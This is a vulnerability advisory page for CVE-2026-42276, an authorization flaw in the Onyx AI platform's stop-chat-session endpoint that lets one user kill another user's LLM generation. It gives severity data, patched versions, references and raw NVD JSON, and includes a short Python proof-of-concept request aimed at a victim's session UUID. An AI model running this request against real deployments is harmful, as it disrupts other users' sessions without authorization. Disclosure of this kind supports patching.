CVE-2026-42276

Description

Onyx is an open-source AI platform. Prior to versions 3.0.9, 3.1.6, and 3.2.6, the POST /chat/stop-chat-session/{chat_session_id} endpoint lets any authenticated user stop any other user's active chat session. The endpoint checks authentication but never verifies the session belongs to the caller. An attacker who knows a chat session UUID can kill another user's LLM generation mid-stream. This issue has been patched in versions 3.0.9, 3.1.6, and 3.2.6.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Onyx < 3.0.9

Onyx < 3.1.6

Onyx < 3.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL and vulnerable endpoint
base_url = "http://target-onyx-instance.com"
target_session_uuid = "uuid-of-victim-chat-session"
endpoint = f"{base_url}/chat/stop-chat-session/{target_session_uuid}"

# Attacker's authentication token (cookies or headers)
attacker_cookies = {
    "access_token": "attacker_valid_token"
}

# Send the request to stop the victim's chat session
response = requests.post(endpoint, cookies=attacker_cookies)

if response.status_code == 200:
    print(f"[+] Successfully stopped chat session {target_session_uuid}")
else:
    print(f"[-] Failed to stop session. Status code: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42276
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42276
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42276/
[4] VulDB https://vuldb.com/cve/CVE-2026-42276
[5] https://github.com/onyx-dot-app/onyx/security/advisories/GHSA-rw6w-hp62-gc8w
[6] https://github.com/onyx-dot-app/onyx/security/advisories/GHSA-rw6w-hp62-gc8w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42276", "sourceIdentifier": "[email protected]", "published": "2026-05-08T05:16:10.557", "lastModified": "2026-05-08T16:02:14.343", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Onyx is an open-source AI platform. Prior to versions 3.0.9, 3.1.6, and 3.2.6, the POST /chat/stop-chat-session/{chat_session_id} endpoint lets any authenticated user stop any other user's active chat session. The endpoint checks authentication but never verifies the session belongs to the caller. An attacker who knows a chat session UUID can kill another user's LLM generation mid-stream. This issue has been patched in versions 3.0.9, 3.1.6, and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/onyx-dot-app/onyx/security/advisories/GHSA-rw6w-hp62-gc8w", "source": "[email protected]"}, {"url": "https://github.com/onyx-dot-app/onyx/security/advisories/GHSA-rw6w-hp62-gc8w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}